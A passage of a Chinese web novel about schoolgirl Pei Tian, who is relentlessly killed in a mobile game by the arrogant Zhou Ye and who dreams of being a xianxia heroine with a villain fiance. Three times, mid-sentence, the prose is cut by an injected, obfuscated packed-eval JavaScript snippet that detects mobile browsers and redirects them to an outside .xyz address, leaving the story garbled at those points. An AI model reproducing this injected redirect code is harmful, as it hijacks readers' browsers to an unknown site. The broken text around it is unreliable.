人行道上两个男人健步如飞地冲下来,拉起地上躺着的中年男人就跑。 男人前脚跑开,后脚兰博基尼就从他刚才躺的地方压过。 周野看也不看,又轰了一脚油门,跑车瞬间冲出去老远,留下一地尾气。 碰瓷的从裴甜这条路跑过的时候,她还听见那三个男人小声说:“之前他吃烧烤跟收保护费的九哥打架,没一个月,上面把那一片混社会的码头老窝都给端了,你去碰瓷他?你看这南城有人敢找他不痛快吗?” “他在车里我哪知道是谁啊……” “居然是碰瓷的!白瞎我刚才义愤填膺,替他声讨富二代了。”苗曦愤愤不平地咬了一口雪糕,不知道是不是因为误会了车主,又怪不好意思地补了一句,“不过那个黑衣服的男生也好凶啊,真敢开车去撞,万一碰瓷的不跑岂不是完了?” “嗯。”裴甜吓得有点呆,心有余悸地点点头。 那个男生确实很凶,闯红灯碰瓷讹钱是很坏,可他这样的应对办法也很危险呀,不怕真的撞到吗?哪怕晚起来半秒,车子就压上去了。 “可是他长得好帅啊啊啊!还这么有钱,老天真的不公平!” 裴甜反应了一下,多看了两眼那群男生,迟疑着说:“他们里面好像有六中的学生。” “啊?哪个?” “左边穿衬衣的那两个,今早在六中教务处看见他们被叫家长了。”裴甜抱起礼物,想起他们早上在教务处里嬉皮笑脸的样子,以及他们说的那些话,心里叹了口气。 保时捷也轰地一声冲了出去,本子和签字笔扔在地上都懒得捡,还是被路人捡走的。 苗曦瞬间惊喜地叫起来:“那黑衣服的男生不会也是你们六中的吧?啊啊啊,长这么帅,在学校里一定是风云人物,甜甜你记得要问一问!” “你想干嘛?”裴甜咬着碎冰冰问。 这么凶的人还是不要去惹为好。 “呜呜呜我想和他谈恋爱!可是我觉得他可能看不上我……”苗曦忽然丧气。 裴甜看她这么苦恼,想了半天,说:“其实班长也挺帅的,他不是还跟你表白了吗。” “……甜甜,你去治治眼睛吧,自从分手之后,你的眼光下降得太厉害了。”苗曦无语。 那个老实巴交的班长和这个黑衣服的大帅比根本不是一个级别的好吗! 裴甜跟着笑,然后慢慢把头别过去,眸光不知道在看哪里。 4. 撞见 因为是周五,明天不用上学,裴甜留苗曦在家过夜,两个人吃了饭,关在卧室里说话。 苗曦正拿着手机跟人发消息,忽然转头跟她说:“甜甜,上次让你下载的那个游戏你没删吧?” 裴甜想了想,摇头:“没有,但是我也没怎么玩。” 意思就是她的操作菜到足以下饭,不要找她打游戏。 但苗曦偏偏着急地催促她:“快快快,你登录一下补一个位置,我们打战队赛,差一个人。” 裴甜拗不过她,拉开抽屉,把手机拿出来,跪坐在床上,有点为难地问:“输了没关系吗?” “没关系,只要打了就行,不打会被踢出战队。这是个特别火的主播的战队,很难进的。”苗曦神秘兮兮地说,“而且除了我们俩,其他三个都是操作特别强的大神,带躺,我们随便玩玩。” 裴甜静静地看她几眼,默默登陆自己的游戏账号。 游戏ID是苗曦给她随便填的,就叫“裴甜甜”。 一上线,游戏界面就提示:好友“捞月亮”邀请你加入战队赛。 她点了接受,组队房间里面有四个人,除了苗曦,其他三个游戏名字分别是杀手、故、九雾永远滴神。 对手战队叫“一刀神明”,裴甜对这些一无所知,没什么感觉。 苗曦和三个男生倒是震惊得不行:“我的天,撞上‘一刀神明’的车队了吗?” “这局难了,他们那个战队只收大手。” “岂止是难,你看看对面的ID啊!三个国服最强,两个省级第一,打个鬼!” 原来对面这么厉害吗?裴甜看了看对面的名字:热心辅助偷猪、上单无所畏惧、射手何须救赎、着迷、姓裴的有毒。 一个都不认识。 不过最后这个名字。 裴甜抿紧了唇,看着自己的游戏ID。 裴甜甜。 跟对面名字结合起来看,她仿佛一个送死的。 苗曦只认出了前面四个,又震惊又不爽:“对面那四个不是‘一刀神明’队长的专属队友吗?我是他们队长的迷妹啊,好不容易撞上一次,怎么偏偏和这个人组队!虽然也是国服……而且这个名字好过分,简直像在针对我家甜甜!等下进去打爆他!” “那就是他们队长,可能改名字了。” “啊?怎么改这个名字啊,以前的‘野王一刀两散’多好听!”苗曦来了精神,有点可惜地说完,又转头看着她,想寻求认同,“是吧甜甜?” 裴甜什么都不知道,只能茫然又安慰地冲她点点头,小声说:“对。” 反正什么名字都比现在这个强,而且攻击范围好大。 其实对面也这么觉得。 一刀神明的几个人组队的时候,着迷最后把“姓裴的有毒”拉进来,其他几个人一看这个纯黑色头像,都说:“这谁啊?踢了,等野哥。” “别乱拉人,野哥呢?怎么还不来。” 着迷笑得不行,说:“这就是野哥,刚改的名,也不知道是受了什么刺激。” 这话一出,几个人都吃了一惊。 “卧槽,野哥干啥,原来名字多霸气,为什么要改成这……” “姓裴的谁啊?怎么惹到你了?” “叫人弄他啊。” 周野嫌他们问东问西的烦,打开语音说:“少bb,开。” 四个人一阵哄笑,点了开局,还在不怀好意地追问:“野哥说说呗,姓裴的到底谁?” “听野哥这语气,不像是男的。可是野哥的女朋友里好像没有姓裴的啊。” “新认识的?” “哎哟,哪位大神这么大魅力啊,能让我们野哥气得ID都改了?”射手何须救赎骚气地问。 游戏里的名人ID都是很值钱的,不会轻易改动,何况是全服第一战队队长、七个榜一的账号。而且战队里谁都知道,周野不喜欢改名字,之前他那个游戏CP(恋人)闹到分手,也没改成情侣名。 周野秒选招牌刺客,不耐烦地说:“没谁,做梦梦到个瘟神姓裴。” “瘟神?这、这么刺激的吗?”热心辅助偷猪一脸懵逼。 其他三个人明显不信地啧了两声。 进入对战界面,着迷看了一眼对手,说:“对面是旧情战队啊,他们队长是那个挺火的游戏主播旧情。” “知道,意识还可以,有时候操作就——噗!”突然几个人不约而同地笑出声,着迷问怎么了,射手何须救赎提醒他,“你看对面那个辅助的ID。” “裴甜甜?裴……”着迷反应了一下,也笑出来,乐不可支地调侃,“野哥,这是不是故意跟你作对呢?” 周野盯着那个名字,嗤了声:“进去老子蹲死她。” “得嘞,这个妹子太惨了。” 裴甜还不知道狂风暴雨即将降临,进入游戏,稳稳地操纵着没有皮肤的辅助英雄,跟着名字叫“故”的刺客。 故让她去河道蹲草丛,看到有敌方英雄过来就跑。 裴甜肃着小脸,听话地躲进草丛,为队友蹲好视野。 左下方苗曦在跟对面聊天。 [全部]捞月亮:对面是野王一刀两散大神吗?我是你的小迷妹~ [全部]射手何须救赎:怎么又是表白野哥的,我单身,看看我啊。 [全部]着迷:妹子为什么这么想不开,要去喜欢一个野王。打野都很渣的,野王就更渣了。 [全部]捞月亮:我知道,可是我真的好喜欢野王大神,终于撞车了,呜呜呜,大神说说话吧,手下留情! 周家别墅里,周野坐在真皮沙发上,翘着个二郎腿,看着“手下留情”这话,想了想,咬着烟回了一个“行”字。 [全部]捞月亮:啊啊啊!大神回复我了!激动!能在中路合个影吗? 躲在草丛里的裴甜看见对面四个人朝她走过来,急忙往塔下跑,迎面撞上对面的打野,就是那个被苗曦疯狂表白的“姓裴的有毒”。 紧接着她被无情挑飞,几枪戳死,挣扎都没来得及挣扎一下。 裴甜安静地看着灰暗的游戏界面,眼神跟着对面打野走了几步,吸了吸鼻子。 好像是挺厉害的。 苗曦看着她又同情又羡慕:“救不到你,他们节奏太快了。甜甜,我竟然有点羡慕你可以被对面四个大神围堵,还被野王大神挑死。” “?”什么意思? 裴甜想说,被谁打死都是一个死,有什么区别,这怎么还值得羡慕,打游戏不是应该想赢吗? 不过看苗曦着实十分羡慕的样子,裴甜皱眉想了想,只好认真地说:“那希望你等下也能被四个人围堵。” “好!借你吉言啊甜甜!” 裴甜:“……” 复活后她小心谨慎许多,看到对面冒头就跑。 然而对面好像知道她的想法似的,她一转身,瞬间又被四个人围住切死。 第三次,裴甜刚出泉水,草丛里突然跳出三个大汉,一套连控后,对方打野犹如天神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824190|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下凡,一枪把她带走。 她还没反应过来,游戏界面已经灰了。 裴甜捏着手机的手指紧了紧,轻轻咬牙又松开,放下手机,拿了一张纸巾擦掉手心里的汗。 苗曦奇怪地说:“对面好像在针对你啊?” “嗯。”裴甜也发现了,不过她实在没想出,她有什么值得针对的地方。 姑且认为这是他们的战术吧。 一刀神明的组队语音里已经炸了,七嘴八舌地笑个不停:“她那操作笑死我了,什么段位啊,我七岁的表弟都比她厉害。” “我们这样欺负一个妹子真的好吗?这不得心理阴影啊。” “怜爱裴甜甜。” 周野把腿搁在茶几上,一只手夹着烟,在烟灰缸上点了点,单手操作,又杀了她一回,漫不经心的语气里带点嚣张的不屑:“这才哪到哪,爷要杀她到游戏结束。” “啧啧啧,野哥太冷酷了。” “不是,我现在就特别好奇,姓裴的到底怎么野哥了,咋把野哥气成这样了呢?” “确定是气的吗?” 周野听出他们贱了吧唧的调侃意味,更加懒得跟他们说。说了没准还要被他们笑,觉得他做梦魔怔了。 对面放塔,不吃兵线,硬是蹲在草丛里又杀了裴甜七次。 基本上她出来不到二十秒,就得死回去。 这种行为明显得队友都看出对面故意针对,纷纷问她:“妹子是跟对面有什么过节吗?怎么一直蹲着你杀啊?” “呃,你不会是他们队长之前的CP吧?刚分手就撞上了?” “卧槽,这么一说,你们俩ID好像是有点关系啊。” “竟然组到了第一战队队长的前CP?” 裴甜无语,这是个巧合,她不认识对面任何一个人,她也被杀得莫名其妙。 [组队]裴甜甜:没有,我不认识他们。 苗曦也急忙帮裴甜澄清,说:“她前一阵放暑假才被我拉来玩游戏的,每次都跟我一起,没玩多久,也不怎么登录,绝对不认识野王大神。” 队友听她们说没有关系,还被这样针对,非常不爽,都替她出头。 [全部]故:对面都是大神,打游戏就好好打,针对一个妹子辅助就没意思了吧。 [全部]九雾永远滴神:有必要一直抓她?她好像没有惹你们吧? [全部]捞月亮:对啊大神,我还是你迷妹呢,你刚答应我手下留情,怎么转头就针对我们家甜甜啊? [全部]射手何须救赎:唉,要怪只能怪她取错了游戏名,姓什么不好,非要姓裴。 [全部]热心辅助偷猪:野哥今天就见不得姓裴的,妹子不好意思啊,包涵一下。 [全部]着迷:裴甜甜忍住,出去给你送皮肤。 他们这么一说,裴甜的队友瞬间脑补了一出狗血大戏,感觉像是知道了什么了不得的秘密,叹了口气,精神上表示理解。 苗曦还跟她说:“甜甜你别生气,今天大神可能被一个姓裴的绿了或者被分手了,比较崩溃,你就勉为其难让他杀吧,实在不行你躲泉水里别出来,我们四个可以的!” 裴甜看着倒戈相向的苗曦,不知道该怎么说。 因为,虽然可能表面上看不出来,但其实她也已经被对面搞崩溃了,现在非常生气厌烦,非常想冲对面的人发火,只是她不想惹事,只好忍住。 “好,我不生气。”裴甜说着,默默记下了对面的游戏名字,以后看见他们绕道走。 5. 有病 第十一次,她从泉水出来,又被蹲。 这次对面打野没有直接挑死她,而是把她打成丝血后停了一秒。 裴甜呆了呆,没明白他怎么突然不动了,正想跑,他一个普攻,把她戳死。 ……故意的,绝对。 让她以为看到了逃跑的希望,又立刻把希望掐灭。 这个人怎么这么讨厌。 周野被她刚才妄想逃跑的动作逗乐了,把烟咬在嘴里,修长的手指在屏幕上飞快地打了几个字。 [全部]姓裴的有毒:你怎么这么菜?放你一条生路你都不走?闪现不会用? [全部]捞月亮:大神,甜甜她刚玩没几天,还不怎么会,今天是我拉过来凑数的,你别欺负她了吧。 原来是个新手,难怪这么呆。 周野难得好脾气地发了句忠告,打算放过她了,新手被他这么一直杀也怪可怜的。 但是过了一分钟,她都复活了,也没理他。 甚至从头到尾,她没回复过一个字。 可以,架子比他端得还大,姓裴的是不是都这么不爱搭理人啊。 周野冷冷地点头,薄唇叼着烟,心里无名火起。 [全部]姓裴的有毒:裴甜甜?你手残还是不会打字啊?老子跟你说话你回都不回? 裴甜刚操纵英雄出来,看到他语气这么冲的一句话,心态差点爆炸。 他这是什么态度,一直杀她,她没骂人没发火就够对得起他了,还想要她说什么。 全世界就他最大爷吗? 还好意思说姓裴的有毒,他更有毒。 裴甜就不想搭理这种人。 组队语音里,几个人纷纷安慰裴甜,让她不要太在意。 裴甜吸了口气,慢慢打字说她没事。 三个队友夸她心态可以啊,这么抓都不骂人,苗曦很是得意:“那是当然,我就没见我家甜甜发过脾气。” 裴甜静静地斜了苗曦一眼,觉得如果对面再这么抓下去,她可能很快就会看见了,而且还是冲她最喜欢的游戏大神发。 第十二次,她一出泉水,果然又被五个人蹲,但是这次裴甜闪现成功。 他们全都堵着进塔的那个方向,她只好往另一边野区跑,五个人跟在她后面,那个打野还有空打字嘲讽她。 [全部]姓裴的有毒:啧,会用闪现了。 裴甜额头青筋直跳,娇气地皱了皱眉,忍不住想发火。 这个人真的好烦,对面五个都好烦。 她被逼着绕着地图跑了一圈,急得手上全是汗,才发现他们明明可以追上的,故意不杀,就追在后面,像猫捉老鼠一样。 她干脆不跑了,站在原地不动,让他们杀。 对面打野也不客气,还真一套技能直接带走。 杀完他就发消息刺激她:[全部]姓裴的有毒:干什么,给老子送人头?看上老子了? ……我就是脑子有问题我也看不上你。 裴甜心里憋着闷气,抬起头看向别处,不想再盯着手机,少看一秒是一秒。 对面好像还嫌杀她不够爽,开始挖人。 [全部]射手何须救赎:对面兄弟操作可以啊,要不要来我们战队,福利比你们旧情强很多哦。 [全部]杀手:知道,你们一刀神明福利好是游戏里出了名的。 [全部]着迷:那来不来啊? [全部]故:来! [全部]杀手:来! [全部]捞月亮:啊啊啊野王大神我也可以来你们战队吗?我也想来! [全部]姓裴的有毒:你可以,那个辅助不要啊,太菜。 辅助不要。 太菜。 裴甜气得小手发抖,冷冷的眼神想把手机屏幕盯个洞出来。 还不要她,她又没说想加游戏战队,盲目自信什么。 神经病。 当裴甜第十五次被切死后。 周野杀得有点烦,没意思,把烟掐了,站在那守尸,跟她发消息。 [全部]姓裴的有毒:算了,你跟我求饶,老子不杀你了。 耳机里一群人立刻笑着瞎起哄:“野哥咋还心软了呢?” “不是说要杀到游戏结束吗?” “这不像野哥的作风啊,觉得人特可怜呢?野哥你是不是心动了?” “滚,老子心动个几把。” “野哥你这反应有点大啊。” 几个人忽然贱兮兮地拖着腔调齐声乱唱:“是心动啊,糟糕眼神躲不掉~” 周野被他们油腻的唱腔和破锣嗓子恶心坏了,直接关掉语音,扯了耳机摔到茶几上。 其他四个人捶桌大笑:“卧槽,野哥关语音了哈哈哈哈!” 对面气氛欢乐得不行,直到看见一条消息弹出来。 [全部]裴甜甜:你有病,快去治吧。 裴甜这话一发出去,苗曦和三个队友瞬间目瞪口呆,语气复杂又敬佩,说她好刚,敢骂第一战队队长有病。 因为对面要是计较的话,发个悬赏公告,她就没法继续玩这个游戏,局局都能碰到演员和对面死守着她杀。 一刀神明的几个人抽了口凉气,同样对她佩服得五体投地。 周野关了语音,他们说话没法恶心到他,于是纷纷改成打字。 [全部]上单无所畏惧:敢骂野哥,可以,牛逼,不愧是让野哥关语音的妹子。 [全部]着迷:冲你发的这句话,出去给你多送一套皮肤。 [全部]射手何须救赎:为你的脾气,献上我的尊敬。 [全部]热心辅助偷猪:也献上惨烈的结局。 [全部]姓裴的有毒:嗯,老子有病。 裴甜看出他这句话有算账的意味,复活后就守在水晶下面,四个队友已经去推对面的塔了,他们肯定要守家,没办法杀她。 刚想到这,她就看到对面打野越过高地塔,冲到水晶里把她切死,然后站在她尸体旁边,静等自己家水晶爆炸。 ——胜利! 语音里几个队友齐声欢呼,高兴得不行,苗曦更是兴奋得跳起来,跟裴甜说:“甜甜!我们居然赢了一刀神明战队!赢了野王大神!我的天,太厉害了吧——啊!都是甜甜你的功劳!辛苦你了,全靠你献祭啊。” 献祭。 听起来就很悲壮惨烈。 “……不用客气。”反正也不是她自愿的。 裴甜看了苗曦一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824191|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把唇抿得紧紧的,垂下眼睑,默默退出游戏。 她已经被杀得对这个游戏产生了阴影。 苗曦看她垮着一张苍白的小脸,实在太可怜了,扑上来抱着她逗她开心。 两个人在床上闹了一会儿,裴甜关掉手机,先去洗澡。 等她半小时后回来,苗曦比刚才更兴奋了,兴冲冲地跟她说:“甜甜!我加上了一刀神明的战队微信群,等下能跟野王大神一起去打匹配!而且,我刚在群里知道了一个大秘密。野王大神——居然是你们六中的!” 裴甜爬上床的动作一顿,回过头看着苗曦,皱了皱眉,问:“叫什么?” 苗曦说:“好像叫周野。” 裴甜记住了周野这个名字,并在脑海中自动关联“讨厌”“烦人”这两个词,爬到床上,腰后垫着枕头,靠在床头看书。 现在才九点半,又不晚,苗曦在玩游戏,她也不好一个人先睡觉,就简单预习一下功课。 但是渐渐她的思绪不能集中了。 耳边传来苗曦游戏语音里的声音。 “野哥,你那游戏CP说要来,怎么办,人满了啊。” “要不把这个妹子踢了?” 苗曦失望地啊了一声,特别不想走。 “人满就开,想玩还不早点,我又不是她爹。”有个声线冷痞又嚣张的少年不咸不淡地说。 瞬间响起游戏开局的声音,有个男生还在啧啧感叹:“难怪野哥你每个都处不长,就你这态度,打完她还不得闹分手啊。” “爱分分,不差这一个。”周野特别无所谓,注意力全在游戏上,“这把我上单,谁都别来,老子上路随便给他打爆。” 苗曦总算确定那个嚣张的少年就是“野王一刀两散”大神,激动地压着声音尖叫:“野王大神你说话声音好苏啊!” “什么苏?”几个男生一阵哄笑,酸得牙疼,“我什么时候也能有这种迷妹啊,不要求连声音都夸,夸我长得帅就行。” 周野嗤了一声,没说话。 反正说他声音苏的女生也不止一个两个了,甚至还有说他手苏的,但他觉得不是他声音苏,是他家里的钱和权苏。 苗曦红着脸辩解说:“不啊,大神声音真的不一样。”没得到队友的认同,她转过来问裴甜,“是吧甜甜?” 裴甜抬起头,复杂纠结地看了一眼苗曦,斟酌着用词,小声说:“是挺特别的。” 这个人语气自带一种极度玩世不恭的嚣张,像从小目空一切惯了似的,谁都不放在眼里。通俗点说,就是听起来很叼,脾气很差。 因为年纪不大,还有少年冷冷的痞气,夹在七嘴八舌的讨论中,非常独特好辨认。 但是,基于刚才他的十六连杀,他的声音在裴甜这里,只剩下特别讨厌,特别烦人,特别刺耳。 也不知道是不是被苗曦这么一问,特意提醒了,每次周野说话就格外清晰地往她耳朵里钻。 裴甜心里无端涌起一股厌烦,书也看不下去,慢吞吞地下床,把听写本拿过来,戴上耳机练英语听力,这样可以不用听某人说话。 十点多的时候,两个人滚到被窝里,裴甜又勉为其难地听苗曦八卦了一番她的队长大神,终于睡过去了。 6. 招惹 裴甜再有意识的时候,她正准备推开和光楼二楼包间的雕花大门。 又穿到修仙文里了。 现在距离她从周家回来已经半个月,今天是十长老自掏腰包,为神府派往商丘仙山历练的一干弟子践行,其中有她。 裴甜推门进去,师兄们看见她来了,全都双眼放光,兴奋地站起来跟她打招呼,但又夹杂着几分隐隐约约的忌惮,没像往常一样围在她身边献殷勤。 裴甜正困惑不解,一扭头,正好对上一双平静的黑眸,周随就坐在她旁边那一桌。 难怪,原来她那反派未婚夫在这。 “他又不是神府的人,来这干什么?” 裴甜皱眉,从头到脚迅速扫了他一眼,收回目光,抬头问十长老。 来修仙界九大宗门之首的上古神府吃饭,他也不知道换一件能见人的衣服,就硬要穿这一身洗得发白的粗布长袍,连一件普通的新衣服都买不起了么? 也不怪这些师兄弟师姐妹们虽然极力掩饰,但看周随的眼神,还是透着几分瞧不起。 因为在这本书的设定里,散修的地位非常低下,更别说还是寒门散修。 许多仙山都是被各方宗门、世家圈起来的,只有门下弟子可以进去试炼,散修能去的仙山十分有限,所以他们得不到功法、技法,也得不到修炼的资源,大多数资质还差,身无分文,修为自然也低得可怜。 周随是因为天资惊人,又得到了太上忘情剑派传承,才能一跃成同辈无敌的宗主级大佬,力压世家第一天才宁殊。 别说修仙界顶级豪门上古神府府主的千金,还是修仙界第一美人,就是一般世家弟子,资质稍微出挑一点的,也不屑于跟散修结成道侣,因为那就意味着日后没有修炼资源,前进一步都很困难。 十长老独坐高位,知道她对周随的态度,但是府主交代了不可给周家人难堪,此时也只能不赞同地说:“裴泠,不得无礼,周随小友是府主亲自去信请的,他要跟你们一块儿去商丘。” “我才不要跟他走一起。”裴甜高冷地拒绝后,环视一周,瞥见坐在角落的柳星云,朝他走了过去。 她的态度比陌生人还陌生人,看都不屑于多看一眼。 周随视线慢慢转到酒杯里,淡淡地盯着荡漾的透明的纯浆,水面映出他冷下去的明亮的黑眸。 裴甜冲柳星云抬了抬尖细的下巴,垂着眼睛俯视他:“这里有人么?” 柳星云愣了片刻,微笑着站起来给她让位置,说:“没有,师妹请坐。” “多谢师兄。”裴甜耷拉着脸,不高兴地挨着他坐下:“师兄这次要和我们一起去商丘历练?” 其实答案她早知道了。 按照剧情,柳星云不但会去,还会在仙山禁地中,拿到足以震撼整个修仙界的天阶功法第一卷,从此就像开了挂一样,修为突飞猛进,奇遇不断,无论遇到什么情况都能捡漏,堪称气运之子。 也是在此次历练中,裴泠不顾危险救了他,从高不可攀的天才师妹,成了他的白月光。 因为,他就是书中男主,一个大国皇子,不但俗世里家世显赫,以后在修真界也有用之不尽的法宝,还会在下一届宗门大会上,一跃登上神府圣子的宝座。 然后倾尽神府里他能动用的一切给女主铺路。 裴泠她爹也因为女主跟她有几分像,睁一只眼闭一只眼,甚至后面女主寻仇丹药世家,毁了人家六张孤品药方,惹出闭关的丹药师祖,还是她爹出面,大出血给女主摆平。 可惜女主后来被人告知是替身,怒而下山,十分不服,跟神府起了冲突后,毫不心软地让反派血洗神府五座峰出气。 毕竟女主的人设是敢爱敢恨,有仇必报,要不这替身文怎么爽得起来。 裴甜摇摇头,不值得,她爹和神府真的不值得。 感叹的同时,她给柳星云贴了个“一号飞升种子选手”的标签。 恋爱选他,他有挂。 “对,我五天前刚突破驱物境一阶,让师妹见笑了。” 柳星云资质平庸,而裴泠还没有满十九,却已突破驱物境九阶,正在冲击结丹境。 定神、驱物、结丹、超凡、玄门、分神、圣人、证道、斩道是修士的九个大境界,每个境界又分为一至九阶,大境界的差距犹如不可跨越的鸿沟,小阶段同样也是云泥之别。 所以在她面前,柳星云的修为着实拿不出手。 在场跟裴泠的天资有一比的,只有她那大反派未婚夫周随。 散修十七年,达到了恐怖的玄门境三阶。这种绝世天资,在整个修仙界也是一只手就能数得过来。 神府府主坚持不让裴泠退婚,除了重情重义之外,也有惜才之心,觉得周随日后必成大器。 可惜他有一个致命的缺点。 周随在书里,是男主的对照组,气运极差,处处倒霉。 无论他天资怎样一骑绝尘,又如何努力,纵然修为秒杀男主,但只要去抢宝物,他必然落难或者抢到最差的。去试练,会遇到最狠的妖物,九死一生。渡劫,雷最多、威力最大,而且基本不能一次成功。 就连太上忘情剑派唯一传人这个资格,也是男主之前不要,才轮到他的。 他就是“大道如青天,我独不得出”的真实写照。 可以说是没有飞升可能。 裴甜脑子里给他打了一个大大的叉。 “师兄天赋异禀,这么早就突破了驱物境,未来前途一定不可限量。”裴甜无视各种“师妹今天脑子出问题了吗”“难道是为了气未婚夫故意为之”的错愕眼神,闭眼硬吹男主,还端起灵浆敬他。 斜对面的周随讥讽地笑了声。 他在柳星云那年纪,早就突破结丹境六七阶了,姓柳的那个修炼速度,有个屁的前途,吃屎都赶不上热乎的,也就仗着是个挂逼。 裴甜和柳星云两个人时不时地低头窃窃私语,不知柳星云说了什么,哄得裴甜眉开眼笑。 十长老感觉再这么发展下去,周随可能要暴起杀人了,毕竟他的名声也不怎么好,急忙咳了两声,道:“裴泠,你坐那去。” 裴甜顺着十长老干枯的手指看过去,见是周随旁边的座位,顿时拧着眉扭头,非常不情愿:“我不跟他这种粗人坐一起。” “府主特意交代的,快去,要不一会儿他来,又要关你禁闭。” 裴甜不去,冷脸坚持了一会儿。 她怀疑这是十长老在加戏,原文里没要求她要坐到反派旁边去——不对,原文里这个剧情反派就没有来,她再次见到反派,应该是在商丘仙山。 裴甜想到这,隐隐担心起来。 虽然这只是很小的一个细枝末节,不影响剧情走向,可是无缘无故剧情发生改变,总是哪里出了问题。 十长老又再三催促,她才慢吞吞地走到周随旁边,挨在最边上坐下,侧过身,背对着他,把手腕撑在案几上,支着耳朵。 斜对面柳星云看她闷闷不乐的样子,举杯遥遥敬她。 裴甜端起杯子意思了一下,冲对面生气地撅嘴。 柳星云就笑。 过了片刻,耳边传来周随明显压着脾气的声音:“裴泠。” 裴甜坐姿没变,眼睛朝他的方向斜了一下,手肘又往边上挪了挪,不想搭理。 周随声线沉了几分:“你够了?” 裴甜恍若未闻,不跟他说一句话。 她讨厌这个反派。 突然她案几下面的腿被人撞了一下。 疼也不是很疼,但隔着薄薄的衣料,能感受到男人炙热的体温,滚烫得能把她烧起来似的,让她很不舒服,鸡皮疙瘩都要起了。 裴甜以为他不是故意的,只把腿往旁边移了移,目不斜视,语气冰冷疏离地说了句:“你抖腿不要碰到我。” 谁知过了几秒,那人不死心,又轻轻踢了踢她的靴子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824192|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴甜厌烦地把杯子往桌上一放,转身站起来冲他恼道:“你踢我干什么,好烦的呀。” 四下里一片寂静,全都张大了嘴看过来,不知道什么情况。 周随脸上很平静,黑眸直直地盯着她,一言不发。 十长老看着他俩这样子,暗地里笑了好一阵,终于缓过劲来,让她坐下,不要计较那么多。 裴甜又背对他侧身坐下,这次没跟柳星云隔空互动,她谁也不理,垂下眼睛盯着地面,小手捏着筷子夹她碟子里的酥球吃,吃得两边脸颊鼓鼓的。 她不知道这个反派未婚夫想怎么样,她又没有招惹他,也没有主动找他麻烦,他为什么总是来烦她呀? 烦得她看着他以后,他又不说话,也没有什么事要跟她讲,那这样做有什么意义! 宴上的气氛有些压抑,众人格外僵硬地推杯换盏,像在提防什么随时爆发的打斗。 周随懒洋洋地自顾自喝了几杯酒,眼神不时瞟一眼她。 乌黑柔软的长发犹如瀑布一般披了她一身,美得不可思议。 似乎近在咫尺,又远在高山之巅,遥不可及。 装酥球的碟子已经空空如也,裴甜没看,还捏着筷子夹了半天,什么都没夹到,扭头才发现吃完了,她就抿着唇去夹别的。 周随把他那碟酥球搁到她面前。 裴甜顿了顿,看着那碟点心,身子往旁边仰,离他远了点。 周随偏要凑近,粗壮的手臂撑到裴甜这半边来,忽然闻到她身上的香气,他脑子里不知道想到哪去了,心跳得特别快,后背跟着出汗,盯着她不自然地冷静道:“刚才踢了你一脚,这个给你道歉行吗。” “不要你的。”裴甜被他带着强烈压迫感的姿势逼得继续后仰,蹙着眉冷淡道,“我可以再点,我们家有钱。” “……” 周随沉默须臾,又抬眼问:“你去商丘想要什么。” 裴甜撑在椅子边缘,声音有点软,艰难地迟疑道:“这跟你有什么关系?” “你爹让我跟你一起去。” “我才不跟你一起。”裴甜偏头不耐烦。 “那你跟谁。” “你管不着。” “跟姓柳的?” 裴甜再也支撑不住,小手推了一把周随硬得像铁的胳膊,没什么力气,但是态度很鲜明,“请你自重。” 周随先看了一眼胳膊上她碰过的地方,视线移过去,又在她细腰边停留一瞬,扫过了她努力撑住椅子边缘的小手,“哦”了声,平静地靠回椅子上,歪头看地面,没有再招惹她。 天光大亮。 床头柜上的闹钟铃铃铃地响个不停。 裴甜被吵醒,伸手拿过来看了一眼,七点半,她关掉闹钟。 旁边的苗曦翻了个身,迷迷糊糊地问:“几点了?” “七点半。” “那我再睡会儿。” 裴甜轻手轻脚地起床,洗漱完,捏着裴妈妈压在桌子上的二十块钱,下楼去买早餐。 九点裴甜送苗曦去坐车。 还没到公交车站,苗曦忽然惊喜地叫道:“啊啊啊,甜甜,大神他们现在在南风运动馆,说战队的人都可以去,大神请客,是不是在这附近啊?我昨天好像在车上看到了。” “好像是在附近。”裴甜平时没太注意这种场所,歪头想了想,不确定地说,“前面那条街左转吧。” “那我们快走!”苗曦挽着裴甜的胳膊,加快脚步。 裴甜不是很想去,欲言又止了一会儿,还是忍不住:“苗曦,我不想去。” “为什么呀?运动馆没什么的。” “不是,”裴甜以前为了看前任的表演,还追到酒吧去过,倒不是纠结这个。她想了下该怎么说,然后一脸认真地告诉苗曦,“你那个大神昨晚杀了我十六次,还嫌我菜,也不喜欢姓裴的,我去了容易激怒他,连累到你就不好了。” 7. 见面 苗曦停住脚,愣了愣,后知后觉地想起来,低头说:“对哦,刚才太兴奋,我差点忘了这事。大神脾气好像是挺冲的,那咱们不去了吧。” 